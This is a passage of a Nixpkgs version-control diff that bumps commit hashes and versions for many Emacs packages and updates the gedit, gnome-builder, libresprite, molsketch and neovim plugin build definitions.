}, "stable": { "version": [ 1, - 4 + 7 ], "deps": [ "compat" ], - "commit": "438f9a47f8adc0c1d3de056c190d4edba3d4ad35", - "sha256": "0pf6qm89nysrri3xx7pda32yfsyv5fwswg6695qivldpq2biwx2x" + "commit": "cf8b2abf5207696c054c33214c86e3969d415054", + "sha256": "03m5v4r6n10ydmr1lks0d91dlirxlsh82l0qlac8qqfz09g0p76a" } }, { @@ -122469,27 +123442,28 @@ "repo": "radian-software/prescient.el", "unstable": { "version": [ - 20230221, - 1257 + 20240104, + 1357 ], "deps": [ + "compat", "prescient", "vertico" ], - "commit": "822481e722502081deedbe6b1a9776eda0ca7bfe", - "sha256": "1h9chc5bipvmn6vqzr150dk91hfcj6yzdn3ylb4lgk70x8if4xvn" + "commit": "864b352e7ecc649cd13ff23172c9cc8039129cc9", + "sha256": "0vfmzi5kj67il1ab3r91fkv72v0xk7d9bmc6y6abgqw8mqf5sjhq" }, "stable": { "version": [ 6, - 1 + 2 ], "deps": [ "prescient", "vertico" ], - "commit": "72b023f5fc1ae2bbf2f51f1786cc012d40671bf4", - "sha256": "1mc9pjb80bxcmzaylfwh0sgpvwbx3h35jalznwz464hw3vqfff83" + "commit": "c0eca3328313f1e93d24e686307516f43a484ba2", + "sha256": "1vj21kcqlsa02nvslmxgxsbv4pc93gakj4x2a6rbk87zl6ccw7pk" } }, { @@ -122544,8 +123518,8 @@ "repo": "gmlarumbe/vhdl-ext", "unstable": { "version": [ - 20231020, - 1600 + 20240109, + 1630 ], "deps": [ "ag", @@ -122557,19 +123531,18 @@ "ripgrep", "vhdl-ts-mode" ], - "commit": "0ccedf602afcbde7e4add7ff6e294ff29c4310ce", - "sha256": "19xfanby7242jk9nwx5k2hfsk3gavk1l0h8az7g86dx465pba95a" + "commit": "0003f47e4063e37894be26b82c65b03b1c2c42cf", + "sha256": "19hf3sxrszrbrnp15w6q8p5n0ybnihm68fy4xagdvkqkvpmga85x" }, "stable": { "version": [ 0, - 3, + 4, 1 ], "deps": [ "ag", "async", - "eglot", "flycheck", "hydra", "lsp-mode", @@ -122577,8 +123550,8 @@ "ripgrep", "vhdl-ts-mode" ], - "commit": "53df7c40f954fd40e542db51333a3abfa6df5ad3", - "sha256": "17yjkq3099sv39v89n2m4n21qkxkfi0md9kazia6wap1m09dhw69" + "commit": "978224be71c1b5ee237cb6d7f729599cfba99ce3", + "sha256": "1g1sw3w9ns9wvn22nbdc8pxmm55y565r6hfbid1vibv5mgwqi5xy" } }, { @@ -122622,20 +123595,20 @@ "repo": "gmlarumbe/vhdl-ts-mode", "unstable": { "version": [ - 20231031, - 748 + 20240109, + 2313 ], - "commit": "957006ea834ff1a42b860b146fd40c86eda5eabd", - "sha256": "1h2gsy5vgq5zsvzxdds7bszhhj5hh7hf007bxbp9jlyar19alvsd" + "commit": "ba724e0af7e235434281aaae939757a6bff37f48", + "sha256": "030lc5m3s05r6v07r3c9z7r11kiv0jyhqrd5s0pagra6avb4zywm" }, "stable": { "version": [ 0, 1, - 0 + 1 ], - "commit": "5836c668eea4e3e208bc3149287dfc1971885ce7", - "sha256": "1s6lpd6896cyn1nry77qp3k9rqqrmhy7sa3qsqk15kqxyzrn92qf" + "commit": "768fc7afed0e3928bf74fca93ec68329ded89003", + "sha256": "0h33fbdji2ghqb0ppsna0x1h5qc6fcj0qyky1igxgdl3xxq38crp" } }, { @@ -123162,11 +124135,11 @@ "repo": "emacs-vs/vs-dark-theme", "unstable": { "version": [ - 20231028, - 356 + 20240107, + 42 ], - "commit": "1f6f0afecc4576cc1cee573f82efe465042507f3", - "sha256": "0yv1gs6prj4qkwav6yjfxrck8y29pbsnidfhnap2vx2rfb94q1k8" + "commit": "24298d3683f2357b121984c48120012f124d6f76", + "sha256": "0nqxva99lxsisdr7771wawnkg8bzcdm78nkq18nb9adm5mj6a7mr" }, "stable": { "version": [ @@ -123185,11 +124158,11 @@ "repo": "emacs-vs/vs-light-theme", "unstable": { "version": [ - 20231028, - 356 + 20240107, + 42 ], - "commit": "174e1dffc26998d8bc074f1f78068a8e612d4be3", - "sha256": "01h55rw65wk630l868lm3s1zkggksmvf1c0ywhnz0l4a570f859h" + "commit": "b3634f5e506001732103aa323db9de9547a4d4d4", + "sha256": "1lvs67isk6vnk3axnfsyr9rn54v1xvpp4zsj7lzs61kwphsynhsf" }, "stable": { "version": [ @@ -123262,11 +124235,11 @@ "repo": "akermu/emacs-libvterm", "unstable": { "version": [ - 20230417, - 424 + 20240102, + 1640 ], - "commit": "94e2b0b2b4a750e7907dacd5b4c0584900846dd1", - "sha256": "0p55wg6j2x5p4g13v20fhwrrw9dv3n2srk34vnxx9md5vhz1pq6p" + "commit": "e96c53f5035c841b20937b65142498bd8e161a40", + "sha256": "0k1pb505ld7nzkh60danrx3qsrb3ifcqcm0359qbhg1ls12mrsnm" } }, { @@ -123333,8 +124306,8 @@ "repo": "AdamNiederer/vue-mode", "unstable": { "version": [ - 20190415, - 231 + 20240101, + 333 ], "deps": [ "edit-indirect", @@ -123342,8 +124315,8 @@ "ssass-mode", "vue-html-mode" ], - "commit": "031edd1f97db6e7d8d6c295c0e6d58dd128b9e71", - "sha256": "047l5nxw86dvls8an65mmqcy673n37pyli7s0d52yi07jk0lw1yx" + "commit": "3a8056bc6ea6458265efb91067c7467860d2c118", + "sha256": "1kcsml4fcqs3999g7m305rr2myldsfrprailv0jb8brv3xavy6p4" }, "stable": { "version": [ @@ -123368,18 +124341,19 @@ "repo": "mihaiolteanu/vuiet", "unstable": { "version": [ - 20220218, - 1024 + 20231231, + 1051 ], "deps": [ "bind-key", + "ivy", "lastfm", "mpv", "s", "versuri" ], - "commit": "aed3272b95fc73fd78712ff7dcfc05916f382fed", - "sha256": "0faxcgvi8r6nchvgh2dzmnawbv5qzsf1aiyfg3f39pskcrnip62v" + "commit": "25d79860b165f04d7d39395138ed4f23e982132f", + "sha256": "0f624qkfdjn1wgm5l306kpa6vfl2ch7rnlcp7g449v7ywc7djm1i" }, "stable": { "version": [ @@ -123597,11 +124571,11 @@ "repo": "wakatime/wakatime-mode", "unstable": { "version": [ - 20231012, - 1227 + 20240203, + 1221 ], - "commit": "5483d915eb35a24a30551abb64c55797f6749a20", - "sha256": "15dxgalfglz8c8q74g2bbmz94ig98idnlva6yqmcqq7fv2ps3086" + "commit": "25fb775178d16decb818b75f32fd23301c0f5da0", + "sha256": "0l8y0xinbh3l7d7klwvxrrc6q9zp51x7p8brapx56knh819w1bvk" } }, { @@ -123785,16 +124759,16 @@ "repo": "wanderlust/wanderlust", "unstable": { "version": [ - 20231105, - 856 + 20240131, + 1357 ], "deps": [ "apel", "flim", "semi" ], - "commit": "8c74d52d1ae00a0ca1a087fb4983292e2c068cba", - "sha256": "0ri6anarpfqbh5a04qhbmazw319m5b9b5yfx3n51ajia9f7xsjra" + "commit": "9fd2c65e8d690625f35035a71e73f51f740dbe04", + "sha256": "034zrl54ql3ddaj5vl62bjzf2a5hvrq5gd9kynmyp0skgk8i6dr2" } }, { @@ -124085,11 +125059,11 @@ "repo": "fxbois/web-mode", "unstable": { "version": [ - 20231025, - 1927 + 20231225, + 1458 ], - "commit": "848fce94de202541cd3fcd35e9c9d22783e9e828", - "sha256": "1yypnb36hr04sgwn486j18a2z5i3i5fbwnjdw6yn2v59mbgqfdfz" + "commit": "82847071ce93293bdb7945db08d970f13fd883cf", + "sha256": "0ykvhgxd5ar3h96rb1888sfjjs0nlpaf63ci8hhhgyhjq9ssr61q" }, "stable": { "version": [ @@ -124207,10 +125181,10 @@ }, { "ename": "webkit-color-picker", - "commit": "af9d2e39385c6833eff6b7c7e5a039238563c00f", - "sha256": "1i9244zghabyavxhz86d22fn40qspzdn2sjql8pl3mm8ks7a49a3", + "commit": "fdf3db5d263ec83c948273ea1390ccb16f788548", + "sha256": "1k0akmamci7r8rp95n4wpj2006g9089zcljxcp35ac8449xxz47v", "fetcher": "github", - "repo": "osener/emacs-webkit-color-picker", + "repo": "ozanmakes/emacs-webkit-color-picker", "unstable": { "version": [ 20180325, @@ -124603,14 +125577,14 @@ "repo": "mhayashi1120/Emacs-wgrep", "unstable": { "version": [ - 20230405, - 936 + 20231215, + 1145 ], "deps": [ "wgrep" ], - "commit": "3584e9ba43287d712e0c17df5328211c174e9c60", - "sha256": "0mfc3j07lyj9dvq5nv77qmqbfmlvmqsx4ib8x7bryc1ljrhgd0cw" + "commit": "07cd02dddefd99bd4128100579ecaca929a57d6e", + "sha256": "1sxndf61h1sb9awrmwzny4rdm2g2i14hafjc5xw59v5qcw0z5f8h" }, "stable": { "version": [ @@ -124693,11 +125667,11 @@ "repo": "acowley/wgsl-mode", "unstable": { "version": [ - 20221127, - 2129 + 20231118, + 1944 ], - "commit": "e7856d6755d93e40ed74598a68ef5f607322618b", - "sha256": "0344db2kx1hw1gr971iqxhwy7qzn2vfkjgg8ccla9zsf22nlqxk3" + "commit": "003a4e99491fa2a0b777f74658e6ffc70fd3a8c2", + "sha256": "10396w84a22zfcgihqhpri5q2w7z0g4n08kbhg03v0zclfb5dgwz" } }, { @@ -124906,11 +125880,11 @@ "repo": "lassik/emacs-whois", "unstable": { "version": [ - 20231106, - 1901 + 20231216, + 1652 ], - "commit": "93413908ec7d39a70700b4b97d3185b06ae69204", - "sha256": "15jgfh7kh6d76hpwp41p91y6blclmrjdw01b1g83sj3v9ncnykhq" + "commit": "3cf4b2ae4dd8f002c2b5733ef9a290e5947c5b91", + "sha256": "06g9qy4l3846fvrljnbw7zhn0girb5ravs620z0naki8zinkggzf" }, "stable": { "version": [ @@ -125074,15 +126048,15 @@ "repo": "progfolio/wikinforg", "unstable": { "version": [ - 20231015, - 2127 + 20240104, + 603 ], "deps": [ "org", "wikinfo" ], - "commit": "70260785e89b682f4dfde1aadaa345ad8b4b36ca", - "sha256": "0mk283dk6w312k3c1vh13hp09i1q5g32nvhf0kpl2qjgjivbhfsi" + "commit": "6c06f297a45c457e5bd1e2b55e870cd102e2a878", + "sha256": "0xpizw611w18bfjqdlwsbh2280h7sdmpfshwfmznfgk2jkix8maw" } }, { @@ -125093,11 +126067,11 @@ "repo": "habamax/wildcharm-theme", "unstable": { "version": [ - 20231114, - 2224 + 20231127, + 537 ], - "commit": "7ccee2953001b76f251a087e941f227c1f63bfec", - "sha256": "1gb3sjh25xh8d938xlprajcylxdycxfijwnnizhb1c80lr5lnprw" + "commit": "58662e13c179106ea7780e71bd3ef3c1cf74e929", + "sha256": "0374wd1fj8grw10xmxx59wnjj6hh08haym6vlkh6dnaccbbp6rx7" }, "stable": { "version": [ @@ -125116,11 +126090,11 @@ "repo": "habamax/wildcharm-theme", "unstable": { "version": [ - 20231114, - 2224 + 20231127, + 537 ], - "commit": "7ccee2953001b76f251a087e941f227c1f63bfec", - "sha256": "1gb3sjh25xh8d938xlprajcylxdycxfijwnnizhb1c80lr5lnprw" + "commit": "58662e13c179106ea7780e71bd3ef3c1cf74e929", + "sha256": "0374wd1fj8grw10xmxx59wnjj6hh08haym6vlkh6dnaccbbp6rx7" }, "stable": { "version": [ @@ -125549,14 +126523,14 @@ "repo": "magit/with-editor", "unstable": { "version": [ - 20230917, - 958 + 20240101, + 2226 ], "deps": [ "compat" ], - "commit": "fcd186d1e684c2dca6497c89af77b27b2b036c11", - "sha256": "04libc0dk0vz3z9l77z8nnvh03pync1kvf0ky7j3y607cg0mrg73" + "commit": "d43db3c58c34d4dbc3ce6f68ec24fecf3452b20e", + "sha256": "00rykgc0ffs6qih60w1qlh73jlm5dlrshvbinl1fglm4agm7h5yf" }, "stable": { "version": [ @@ -125734,11 +126708,11 @@ "repo": "hsjunnesson/wolfram.el", "unstable": { "version": [ - 20221111, - 816 + 20231220, + 1950 ], - "commit": "e3e8bbc70adf544022dfbd3e95b8904d70e71471", - "sha256": "04d0jcj2lzhyc0bsywn8vpgxr3cbfv1vdfij5d82d018vyn5s1jz" + "commit": "743c92f88bb3b6a77bc84ac2221adc6222cebb94", + "sha256": "12bp7yarsqdg0572mq6n6l12r35ahkrjam2aa8k0ialhwigpbvwm" }, "stable": { "version": [ @@ -125806,11 +126780,11 @@ "repo": "progfolio/wordel", "unstable": { "version": [ - 20230818, - 1324 + 20240104, + 603 ], - "commit": "70171a21cbe53e407b86440bf7ee93d39cb5ebde", - "sha256": "1irmabp8zdlp08mvf2xlamf8kg4qbvydm1h4a6ca0b8v53jpd95f" + "commit": "38a05283c014812c0a54207aa6146f163c707fa5", + "sha256": "181am26kb18aw0g93la2c5037p5d6fn6da8knsj0zf1rmisr2qyc" } }, { @@ -126320,14 +127294,14 @@ "repo": "jobbflykt/x509-mode", "unstable": { "version": [ - 20230818, - 634 + 20231215, + 850 ], "deps": [ "compat" ], - "commit": "fa9245fade7762c5550bac5608125dc64c93769e", - "sha256": "0395bngy92znr2vk4ki8fpi3fn6klwdlz1xx0w39agsp26vkqcp7" + "commit": "b19260d9863f1f7e310154fef71b1f3bd0871241", + "sha256": "1angyjpr28zjsw5blsjrqn7vfvlz02pkqxx9ckrjjq14mx2yi125" } }, { @@ -126878,7 +127852,7 @@ }, { "ename": "xwidgete", - "commit": "855ea20024b606314f8590129259747cac0bcc97", + "commit": "bc2db57a308db64656ccb1b1f31106d0fd71666a", "sha256": "1v1dfykkb6nwjwz2623i6x1rl53z4457l6fpa4nv4krdqq79gl5d", "fetcher": "github", "repo": "tuhdo/xwidgete", @@ -126899,11 +127873,11 @@ "repo": "lordpretzel/xwidgets-reuse", "unstable": { "version": [ - 20200817, - 147 + 20231205, + 1315 ], - "commit": "3f95d81bfce1b3c52f9dcf2890cd2559a5287a33", - "sha256": "1i6g4n2pnp3r0pyn4p6xryh0x44lyvazy8kc1bfrzwzf6py9wmq0" + "commit": "4d5cfd24bc470def508e1301951d4057831d852f", + "sha256": "1p0zgd3x83la4w7bhy1f1daamnyfv7sk93bba25w39jgyjw3bd75" }, "stable": { "version": [ @@ -127111,20 +128085,20 @@ "repo": "zkry/yaml.el", "unstable": { "version": [ - 20230928, - 103 + 20231211, + 1501 ], - "commit": "fe08b8f5307af1e7b876ece64b7303213f04b63c", - "sha256": "10sdcihgd8yvdf7yab5fsvq65amp25msjh7mbrxgk3w4zc96fxzi" + "commit": "70c4fcead97e9bd6594e418c922ae769818f4245", + "sha256": "0qq9jr1ihk1b5wfvppyvb8c2pq2gma9wysggd22iln4nqz2mjc81" }, "stable": { "version": [ 0, 5, - 4 + 5 ], - "commit": "fe08b8f5307af1e7b876ece64b7303213f04b63c", - "sha256": "10sdcihgd8yvdf7yab5fsvq65amp25msjh7mbrxgk3w4zc96fxzi" + "commit": "70c4fcead97e9bd6594e418c922ae769818f4245", + "sha256": "0qq9jr1ihk1b5wfvppyvb8c2pq2gma9wysggd22iln4nqz2mjc81" } }, { @@ -127165,11 +128139,11 @@ "repo": "yoshiki/yaml-mode", "unstable": { "version": [ - 20231003, - 1142 + 20231120, + 546 ], - "commit": "23395dfcf004c952850691b70e63f97f169596e8", - "sha256": "0jqg2hmh7qsgqywwd6fy3k8z8j45nqhpdzr3hw4hd5s2hry3zhg1" + "commit": "aa7f04d8aaeb1b580904a84cadf561721d9acdbb", + "sha256": "1kgig5b975gcxfyq4z69nmf70fr6cznl2p7hvga5dy680xxls5yd" }, "stable": { "version": [ @@ -127408,14 +128382,14 @@ "repo": "joaotavora/yasnippet", "unstable": { "version": [ - 20230914, - 1400 + 20240124, + 258 ], "deps": [ "cl-lib" ], - "commit": "52a1c5031912243c791c55e0fe345d04f219b507", - "sha256": "0gmkhv8slzshgn9bcamp49szf24nflqcfn8c1f9iff36vviyibgf" + "commit": "297546f0853a6a51f5b05e954d0c6aea8caa5ec2", + "sha256": "0b1fdigwjshfim6zyzkn2wa6k8xd4qlafrf7zgj5bsx6alrzac8v" }, "stable": { "version": [ @@ -127438,14 +128412,14 @@ "repo": "elken/yasnippet-capf", "unstable": { "version": [ - 20231024, - 1604 + 20240116, + 1646 ], "deps": [ "yasnippet" ], - "commit": "a0a6b1c2bb6decdad5cf9b74202f0042f494a6ab", - "sha256": "0fzkdl32cblv8rc25d76hq90m40kbkkswz6m8f4fx2m8rw2ysfr8" + "commit": "db12b55cd08b614cbba134008566e48d7faf660e", + "sha256": "0a5iqh3jcnkf5l9df2pp73aqcpzafjyj4a556q4v2w17v0wwn7f4" } }, { @@ -127474,14 +128448,14 @@ "repo": "AndreaCrotti/yasnippet-snippets", "unstable": { "version": [ - 20230815, - 820 + 20240115, + 1138 ], "deps": [ "yasnippet" ], - "commit": "063f54cea33f59defe9123549bf55ca342457a1c", - "sha256": "0xnfy6ppnraxgj1kpq7kwyiyznih12xz0xvim6wz7bx9sjw31lch" + "commit": "441bad332344b02402add62d085b8313bdc7f618", + "sha256": "1nw2kfdcv24h7g7dwv7b6njblrzh65li3lz0qqdwd6ikan6vgraa" }, "stable": { "version": [ @@ -127555,20 +128529,26 @@ "repo": "aki2o/yaxception", "unstable": { "version": [ - 20150105, - 1540 + 20240107, + 504 + ], + "deps": [ + "dash" ], - "commit": "4e94cf3e0b9b5631b0e90eb4b7de597ee7185875", - "sha256": "0nqyn1b01v1qxv7rcf46qypca61lmpm8d7kqv63jazw3n05qdnj8" + "commit": "5941de88b19752c14e0dce0d2bf562b1288055a0", + "sha256": "17bpr1nn9f7xm38kjrz9vhyl979ayivqykiri59zz86psgxjy6hz" }, "stable": { "version": [ + 1, 0, - 3, - 3 + 0 + ], + "deps": [ + "dash" ], - "commit": "4e94cf3e0b9b5631b0e90eb4b7de597ee7185875", - "sha256": "0nqyn1b01v1qxv7rcf46qypca61lmpm8d7kqv63jazw3n05qdnj8" + "commit": "5941de88b19752c14e0dce0d2bf562b1288055a0", + "sha256": "17bpr1nn9f7xm38kjrz9vhyl979ayivqykiri59zz86psgxjy6hz" } }, { @@ -127655,26 +128635,32 @@ }, { "ename": "yeetube", - "commit": "c4e808c643026327acace51a587dc17ea094d829", - "sha256": "0ll70490px1hz35rgkkbnxxbpxip7dzbr1hqyilqqc1as20n3fig", + "commit": "258bbc1c9a9e9a2197573d5349457d7c84a4b863", + "sha256": "1zva45wq1yy5r0nv5k85lxh776w400m32m389hy4289b2dk4vk9v", "fetcher": "git", - "url": "https://git.thanosapollo.com/yeetube", + "url": "https://git.thanosapollo.org/yeetube", "unstable": { "version": [ - 20231017, - 634 + 20240201, + 227 ], - "commit": "610609061226c38a68267172e8975d8df1a1848d", - "sha256": "05w33431dfr1ldcg3yq01qvz0alpv8q88r0dsb278qbwszw9cfz6" + "deps": [ + "compat" + ], + "commit": "1b54f9d2a1c2777d4a0f33f2d54af54608884f23", + "sha256": "00y4bn4pgpf98jypnksk55xlfjnznsbjxs3ajkij3r5mris93njr" }, "stable": { "version": [ 2, 0, - 7 + 9 + ], + "deps": [ + "compat" ], - "commit": "610609061226c38a68267172e8975d8df1a1848d", - "sha256": "05w33431dfr1ldcg3yq01qvz0alpv8q88r0dsb278qbwszw9cfz6" + "commit": "a265a9f95de6f5cc5b77aa619657de1691e6f965", + "sha256": "17475zkvhj7yc3sxv0snmvxf84mkl30l78s28gzzm3j15p806cbd" } }, { @@ -127850,6 +128836,21 @@ } }, { + "ename": "youdotcom", + "commit": "58a678042193a2c9ffe2cdb3e868d489af1d15b7", + "sha256": "1dgil0hsl2y82g4bj8acq93ci905l6z7b38kssgw3qpxdnv615dz", + "fetcher": "github", + "repo": "SamuelVanie/youdotcom.el", + "unstable": { + "version": [ + 20240114, + 2127 + ], + "commit": "4a715db5a9ecb3b3ccf9aa9f51bb8599428dd655", + "sha256": "0mp1a5a6r5zxl6sg6hsvydbb42dpxi79f58y48xqlvj9k33zrb4g" + } + }, + { "ename": "youtube-sub-extractor", "commit": "6b5f8eceb815d74d7839e30971c96aebc7944c7f", "sha256": "17a3cnffh49vhm1i76wv1sl3qy9cf58hnckpwl07vj0mhkr50826", @@ -128038,11 +129039,11 @@ "repo": "bbatsov/zenburn-emacs", "unstable": { "version": [ - 20230315, - 1004 + 20231120, + 2002 ], - "commit": "8a1f9d28f503615e5d9b3eac59a2f3c14e75fc20", - "sha256": "00zyx2knfchxkml19kf4wfgigsbgzqf47mvbgrmk3nfznnnnyvmf" + "commit": "373a07f99ee595dee83b6cee8b6841b5d1c01e38", + "sha256": "03n87wcjbbpfgbx487676fzbrzzqj0cmiwcpikbws74fnr9ayplg" }, "stable": { "version": [ @@ -128530,11 +129531,11 @@ "repo": "localauthor/zk", "unstable": { "version": [ - 20230821, - 2127 + 20240102, + 1405 ], - "commit": "05b253b60d86799e839239316b660efe69e0268f", - "sha256": "03b7ql8894l4i6s7rp15xfwfrbn23nlbskd6dz7wva2qs967nb4d" + "commit": "82f636c1edda416794c7115757ecded64f22afbf", + "sha256": "1rxrasmhk28h3z9iyssvnhf3a57y2xmfjbl4il3mfd98gg6mhb8i" }, "stable": { "version": [ @@ -128553,15 +129554,15 @@ "repo": "localauthor/zk", "unstable": { "version": [ - 20230712, - 1103 + 20240102, + 1405 ], "deps": [ "zk", "zk-index" ], - "commit": "5be59ca972f3f624d444b7b7d7ca75a06bcd2ce5", - "sha256": "0hijdi10l44ky8j66qz6bxmg1vnfhikkd65iqfb3ycg1kwzd4r9p" + "commit": "82f636c1edda416794c7115757ecded64f22afbf", + "sha256": "1rxrasmhk28h3z9iyssvnhf3a57y2xmfjbl4il3mfd98gg6mhb8i" }, "stable": { "version": [ @@ -128584,14 +129585,14 @@ "repo": "localauthor/zk", "unstable": { "version": [ - 20230930, - 1422 + 20240102, + 1405 ], "deps": [ "zk" ], - "commit": "afb7c078863b1b7e631019647d53d37f59a1554a", - "sha256": "1sfa864gkw13mbk6wjpys65r7rl7a58xj3qz39gn99cmp7a3v98z" + "commit": "82f636c1edda416794c7115757ecded64f22afbf", + "sha256": "1rxrasmhk28h3z9iyssvnhf3a57y2xmfjbl4il3mfd98gg6mhb8i" }, "stable": { "version": [ @@ -128613,15 +129614,15 @@ "repo": "localauthor/zk-luhmann", "unstable": { "version": [ - 20231009, - 1303 + 20240102, + 1406 ], "deps": [ "zk", "zk-index" ], - "commit": "e2af1477e5fc59cd4499eede991114561d8a7a37", - "sha256": "1apr9mvb5hsdw59f7dn3gmg9jxn3v3433wxrvkcv02ndp81vngn5" + "commit": "836943c5f6c6cdb932762385bbdf79e8bcfef3d7", + "sha256": "14wcqq6p7m1gq382y638fjcdvpd7206lrcrh5abnrprsyjxlr3l7" } }, { @@ -128945,30 +129946,30 @@ "repo": "fvdbeek/emacs-zotero", "unstable": { "version": [ - 20211008, - 2207 + 20240112, + 2111 ], "deps": [ "ht", "oauth", "s" ], - "commit": "811bd1f14b38c3dde3f80cd8a13490c9900de888", - "sha256": "0gh04kbg109038xxcrzhjffqrfcxx7vbz0dz2idglcmbqpg7lzjq" + "commit": "eef5080e6a2ed0cae12c3d21580864f4b394cd5f", + "sha256": "0qv5lg3iadgaghx2a423jdhmql51kflbnfg7anxxbgyp0hkp2igj" }, "stable": { "version": [ 0, 2, - 3 + 7 ], "deps": [ "ht", "oauth", "s" ], - "commit": "811bd1f14b38c3dde3f80cd8a13490c9900de888", - "sha256": "0gh04kbg109038xxcrzhjffqrfcxx7vbz0dz2idglcmbqpg7lzjq" + "commit": "eef5080e6a2ed0cae12c3d21580864f4b394cd5f", + "sha256": "0qv5lg3iadgaghx2a423jdhmql51kflbnfg7anxxbgyp0hkp2igj" } }, { @@ -128994,15 +129995,15 @@ "repo": "egh/zotxt-emacs", "unstable": { "version": [ - 20210908, - 402 + 20240203, + 647 ], "deps": [ "deferred", "request" ], - "commit": "d344e7ac281a083f4e39e95b5664633a015e2b3b", - "sha256": "1qwn5ym2ljzbliy1qbafm3wzh8ayl177m3z2fvj2fy3cg9smi3bv" + "commit": "7eae5196dbe6fa3045b31412538ce4a81204abc4", + "sha256": "12h0fi1fz33747h807gg29wgqqm3yzfn34m79zkvdicxiaj920ny" }, "stable": { "version": [ diff --git a/pkgs/applications/editors/emacs/sources.nix b/pkgs/applications/editors/emacs/sources.nix index aa73fa29b0d19..8cd257302cd64 100644 --- a/pkgs/applications/editors/emacs/sources.nix +++ b/pkgs/applications/editors/emacs/sources.nix @@ -53,10 +53,10 @@ let maintainers = with lib.maintainers; [ AndersonTorres adisbladis - atemu jwiegley lovek323 matthewbauer + # atemu for issues relating to Macport ]; platforms = { "mainline" = lib.platforms.all; diff --git a/pkgs/applications/editors/gedit/default.nix b/pkgs/applications/editors/gedit/default.nix index 7e4b4040737ef..d7e5ac0ba1ebe 100644 --- a/pkgs/applications/editors/gedit/default.nix +++ b/pkgs/applications/editors/gedit/default.nix @@ -29,13 +29,13 @@ stdenv.mkDerivation rec { pname = "gedit"; - version = "46.1"; + version = "46.2"; outputs = [ "out" "devdoc" ]; src = fetchurl { url = "mirror://gnome/sources/gedit/${lib.versions.major version}/gedit-${version}.tar.xz"; - sha256 = "oabjfwQXZd/3InofVXi29J+q8Bax4X6GnK9b+5TGqk4="; + sha256 = "wIZkErrRR+us4tKC/8u1oOmjBLIP1VZAvuIcgebVAe8="; }; patches = [ @@ -92,7 +92,7 @@ stdenv.mkDerivation rec { }; meta = with lib; { - homepage = "https://wiki.gnome.org/Apps/Gedit"; + homepage = "https://gedit-technology.github.io/apps/gedit/"; description = "Former GNOME text editor"; maintainers = with maintainers; [ bobby285271 ]; license = licenses.gpl2Plus; diff --git a/pkgs/applications/editors/gnome-builder/default.nix b/pkgs/applications/editors/gnome-builder/default.nix index da36d5f111f71..b1360f2a147e7 100644 --- a/pkgs/applications/editors/gnome-builder/default.nix +++ b/pkgs/applications/editors/gnome-builder/default.nix @@ -5,6 +5,7 @@ , desktop-file-utils , editorconfig-core-c , fetchurl +, fetchpatch , flatpak , gnome , libgit2-glib @@ -63,6 +64,12 @@ stdenv.mkDerivation rec { # # Typelib file for namespace 'Pango', version '1.0' not found (g-irepository-error-quark, 0) ./fix-finding-test-typelibs.patch + + (fetchpatch { + name = "redefinition-of-glib_autoptr_clear_GtkStackPage.patch"; + url = "https://gitlab.gnome.org/GNOME/gnome-builder/-/commit/7aaaecefc2ea8a37eaeae8b4d726d119d4eb8fa3.patch"; + hash = "sha256-sYLqhwCd9GOkUMUZAO2trAGKC3013jgivHrNC4atdn0="; + }) ]; nativeBuildInputs = [ diff --git a/pkgs/applications/editors/libresprite/default.nix b/pkgs/applications/editors/libresprite/default.nix index 3db7185bf1982..70ce1fe48052c 100644 --- a/pkgs/applications/editors/libresprite/default.nix +++ b/pkgs/applications/editors/libresprite/default.nix @@ -27,14 +27,14 @@ , nixosTests }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "libresprite"; version = "1.0"; src = fetchFromGitHub { owner = "LibreSprite"; repo = "LibreSprite"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; fetchSubmodules = true; sha256 = "sha256-d8GmVHYomDb74iSeEhJEVTHvbiVXggXg7xSqIKCUSzY="; }; @@ -118,4 +118,4 @@ stdenv.mkDerivation rec { # https://github.com/LibreSprite/LibreSprite/issues/308 broken = stdenv.isDarwin; }; -} +}) diff --git a/pkgs/applications/editors/molsketch/default.nix b/pkgs/applications/editors/molsketch/default.nix index 6a656114ff5f7..abbedff17c16f 100644 --- a/pkgs/applications/editors/molsketch/default.nix +++ b/pkgs/applications/editors/molsketch/default.nix @@ -1,5 +1,5 @@ { lib -, mkDerivation +, stdenv , fetchurl , cmake , pkg-config @@ -10,15 +10,19 @@ , desktop-file-utils }: -mkDerivation rec { +stdenv.mkDerivation rec { pname = "molsketch"; - version = "0.8.0"; + version = "0.8.1"; src = fetchurl { url = "mirror://sourceforge/molsketch/Molsketch-${version}-src.tar.gz"; - hash = "sha256-Mpx4fHktxqBAkmdwqg2pXvEgvvGUQPbgqxKwXKjhJuQ="; + hash = "sha256-6wFvl3Aktv8RgEdI2ENsKallKlYy/f8Tsm5C0FB/igI="; }; + patches = [ + ./openbabel.patch + ]; + # uses C++17 APIs like std::transform_reduce postPatch = '' substituteInPlace molsketch/CMakeLists.txt \ @@ -34,7 +38,7 @@ mkDerivation rec { ''; postFixup = '' - mv $out/lib/molsketch/* $out/lib + ln -s $out/lib/molsketch/* $out/lib/. ''; nativeBuildInputs = [ cmake pkg-config qttools wrapQtAppsHook ]; @@ -50,5 +54,6 @@ mkDerivation rec { license = licenses.gpl2Plus; maintainers = [ maintainers.moni ]; mainProgram = "molsketch"; + platforms = platforms.unix; }; } diff --git a/pkgs/applications/editors/molsketch/openbabel.patch b/pkgs/applications/editors/molsketch/openbabel.patch new file mode 100644 index 0000000000000..80786bbab4dda --- /dev/null +++ b/pkgs/applications/editors/molsketch/openbabel.patch @@ -0,0 +1,12 @@ +diff --git a/obabeliface/obabeliface.cpp b/obabeliface/obabeliface.cpp +index 98a9020..a168803 100644 +--- a/obabeliface/obabeliface.cpp ++++ b/obabeliface/obabeliface.cpp +@@ -196,6 +196,7 @@ namespace Molsketch + + // TODO should be const, but OpenBabel iterator methods do not support const + bool hasCoordinates(OpenBabel::OBMol &molecule) { ++ using namespace OpenBabel; + FOR_ATOMS_OF_MOL(obatom, molecule) { + if (obatom->GetVector() != OpenBabel::VZero) + return true; diff --git a/pkgs/applications/editors/neovim/build-neovim-plugin.nix b/pkgs/applications/editors/neovim/build-neovim-plugin.nix index 251844aa87dbe..9d9778c1fe3b5 100644 --- a/pkgs/applications/editors/neovim/build-neovim-plugin.nix +++ b/pkgs/applications/editors/neovim/build-neovim-plugin.nix @@ -19,20 +19,21 @@ in let originalLuaDrv = lua.pkgs.${luaAttr}; - luaDrv = (lua.pkgs.luaLib.overrideLuarocks originalLuaDrv (drv: { + luaDrv = originalLuaDrv.overrideAttrs (oa: { + version = attrs.version or oa.version; + rockspecVersion = oa.rockspecVersion; + extraConfig = '' -- to create a flat hierarchy 